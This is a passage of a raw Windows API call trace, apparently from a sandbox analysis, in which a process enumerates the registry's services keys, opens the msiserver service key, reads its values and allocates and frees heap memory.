(in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0258.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0258.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0258.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0258.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0258.080] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0258.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0258.080] RegCloseKey (hKey=0x148) returned 0x0 [0258.080] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0258.080] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0258.080] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0258.081] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0258.081] RegCloseKey (hKey=0x80000002) returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0258.081] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0258.082] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0258.082] RegCloseKey (hKey=0x154) returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0258.082] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0258.082] RegCloseKey (hKey=0x148) returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0258.082] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0258.157] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0258.163] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0258.167] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0258.167] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0258.168] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0258.168] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0258.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0258.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0258.168] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d308 [0258.168] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0258.168] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d588 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d468 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c88 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0258.169] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0258.169] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0258.170] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0258.170] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.170] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0258.170] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.170] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.170] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.170] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.171] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d308) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d428) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d558) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d588) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c88) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d468) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d438) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d258) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0258.171] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0258.172] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x0, lpcbData=0x36f45c*=0x0 | out: lpType=0x36f454*=0x7, lpData=0x0, lpcbData=0x36f45c*=0x31) returned 0x0 [0258.172] RegQueryValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", lpReserved=0x0, lpType=0x36f454, lpData=0x21f1c40, lpcbData=0x36f45c*=0x31 | out: lpType=0x36f454*=0x7, lpData=0x21f1c40*, lpcbData=0x36f45c*=0x31) returned 0x0 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d5b8 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d258 [0258.172] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d5b8) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0258.172] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d598 [0258.173] RtlAllocateHeap (HeapHandle=0x2520000, 